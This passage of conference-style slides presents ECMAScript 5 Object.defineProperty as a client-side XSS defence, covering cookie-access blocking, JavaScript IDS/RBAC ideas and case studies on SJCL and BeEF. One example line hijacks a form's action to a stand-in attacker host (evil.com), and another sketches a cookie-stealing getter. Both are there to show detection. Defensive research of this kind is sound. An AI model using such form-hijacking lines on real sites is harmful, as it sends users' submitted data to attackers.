  • 20. Object Extensions  Many novelties in ECMA Script 5  Relevance for client side XSS mitigation  Object extensions such as  Object.freeze()  Object.seal()  Object.defineProperty() / Object.defineProperties()  Object.preventExtensions()  Less relevant but still interesting  Proxy Objects  More meta-programming APIs  Combinations with DOM Level 3 events
  • 21. ({}).defineProperty()  Object.defineProperty() and ..Properties()  Three parameters  Parent object  Child object to define  Descriptor literal  Descriptors allow to manipulate  Get / Set behavior  Value  “Enumerability”  “Writeability”  “Configurability”  Example →
  • 22. Example <script> Object.defineProperty(document, 'cookie', { get: function(){return:false}, set: function(){return:false}, configurable:false }); </script> … <script> delete document.cookie; alert(document.cookie); </script>
  • 23. configurable:false  Setting “configurability” to false is final  The object description is stronger than delete  Prototype deletion has to effect  Re-definition is not possible  Proprietary access via Components.lookupMethod() does not deliver the native object either  With this method call cookie access can be forbidden  By the developer  And by the attacker
  • 24. Prohibition  Regulating access in general  Interesting to prevent cookie theft  Other properties can be blocked too  Method access and calls can be forbidden  Methods can be changed completely  Horizontal log can be added to any call, access and event  That is for existing HTML elements as well  Example →
  • 25. Action Protection <script> var form = document.getElementById('form'); Object.defineProperty(form, 'action', { set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false }); </script> … <script> document.forms[0].action='//evil.com'; </script>
  • 26. First Roundup  Access prohibition might be effective  Value and argument logging helps detecting attacks  Possible IDS solutions are not affected by heavy string obfuscation  No impedance mismatches  Attacks are detected on they layer they target  Parser errors do not have effect here  No effective charset obfuscations  Immune against plug-in-deployed scripting attacks  Automatic quasi-normalization
  • 27. Limitations  Blacklisting approach  Continuity issues  Breaking existing own JavaScript applications  Forbidding access is often too restrictive  Breaking third party JavaScript applications  Tracking scripts (Google Analytics, IVW, etc.)  Advertiser controlled scripts  Small adaption rate, high testing effort  No fine-grained or intelligent approach
  • 28. Going Further  No access prohibitions but RBAC via JavaScript  Possible simplified protocol  Let object A know about permitted accessors  Let accessors of object A be checked by the getter/setter  Let object A react depending on access validity  Seal object A  Execute application logic  Strict policy based approach  A shared secret between could strengthen the policy  Example →
  • 29. RBAC and IDS <script> Object.defineProperty(document, 'cookie', { set:RBAC_checkSetter(IDS_checkArguments()), get:RBAC_checkGetter(IDS_checkArguments()) configurable:false }); // identified via arguments.callee.caller My.allowedMethod(document.cookie); </script> … <script> alert(document.cookie) </script>
  • 30. Forced Introspection  Existing properties can gain capabilities  The added setter will know:  Who attempts to set  What value is being used  The added getter will know:  Who attempts to get  An overwritten function will know:  How the original function looked like  Who calls the function  What arguments are being used  IDS and RBAC are possible  Tamper resistance thanks to configurable:false
  • 31. Case Study I  Stanford JavaScript Crypto Library  AES256, SHA256, HMAC and more in JavaScript  „SJCL is secure“  Not true from an XSS perspective  Global variables  Uses  Math.floor(), Math.max(), Math.random()  document.attachEvent(), native string methods etc.  Any of which can be attacker controlled  High impact vulnerabilities ahead...
  • 32. Case Study II  BeEF – Browser Exploitation Framework  As seen some minutes ago ☺  Uses global variables  window.beef = BeefJS;  Attacker could seal it with Object.defineProperty()  Else the defender could “counterbeef” it  BeEF XSS = Exploiting the exploiter  Maybe a malformed UA string? Or host address?
  • 33. Deployment  Website owners should obey a new rule  „The order of deployment is everything“  As long as trusted content is being deployed first  Object.defineProperty() can protect  Sealing can be used for good  The script deploying first controls the DOM  Persistent, tamper resistant and transparent  Self-defense is possible  Example →
  • 34. !defineProperty() <html> <head> <script> … Object.defineProperty(Object, 'defineProperty' { value:[], configurable:false }); </script> … <script> Object.defineProperty(window,'secret', { get:stealInfo }); // TypeError </script>
  • 35. Reflection  Where are we now with ES5?  Pro:  We can fully restrict property and method access  We have the foundation for a client side IDS and RBAC  We can regulate Object access, extension and modification  CSP and sandboxed Iframes support this approach  Contra:  It's a blacklist  Magic properties cause problems  We need to prevent creation of a fresh DOM  Right now the DOM sucks!  Still we can approach XSS w/o any obfuscation
  • 36. Easing Adaptation  JS based IDS and RBAC is not easy to grasp  Possible adaptation boosters include  Usage ready libraries  Well readable policy files (JSON)  GUI Tools for individual policies  Automated parsing of existing libraries and scripts  Security levels and developer compatible docs  Community driven hardening and vendor adaptation  Interfaces to server-side filter logic  Spreading awareness for security sake!
  • 37. Future Work I  We need to fix the DOM  Heard of the addEventListener() black-hole?  Specify a whitelist based approach  Refine event handling and DOM properties  DOMBeforeSubtreeModified  DOMBeforeInsertNode  DOMBefore...  We need DOM Proxies!  The DOM needs more “trustability”  Monitor and contribute to ES6 and ES7
  • 38. Future Work II  Address browser vendors about concerns and bugs  Double freezing, lack of ES5 support, peculiarities  Find better ways to treat JavaScript URIs  Provide a safe and homogeneous DOM  Create a model framework, support majors libraries  Learn from other sandbox approaches  Academic publications, acquire early adopters  Spread awareness on ES5+ and the attached implications  Finally, somehow tell online advertisers in a charming way, what they have to expect soon...
  • 39. Wrap-Up  XSS remains undefeated  RIAs gain complexity and power  Client-agnostic server side filters designed to fail  Time for a new approach  Still a lot of work to be done  No one said it'd be easy
  • 40. Questions  Thanks for your time!  Discussion?  Thanks for advice and contribution:  Gareth Heyes  Stefano Di Paola  Eduardo Vela  John Wilander and Mattias Bergling  Jonas Magazinius  Michele Orru  Phung et al.  All unmentioned contributors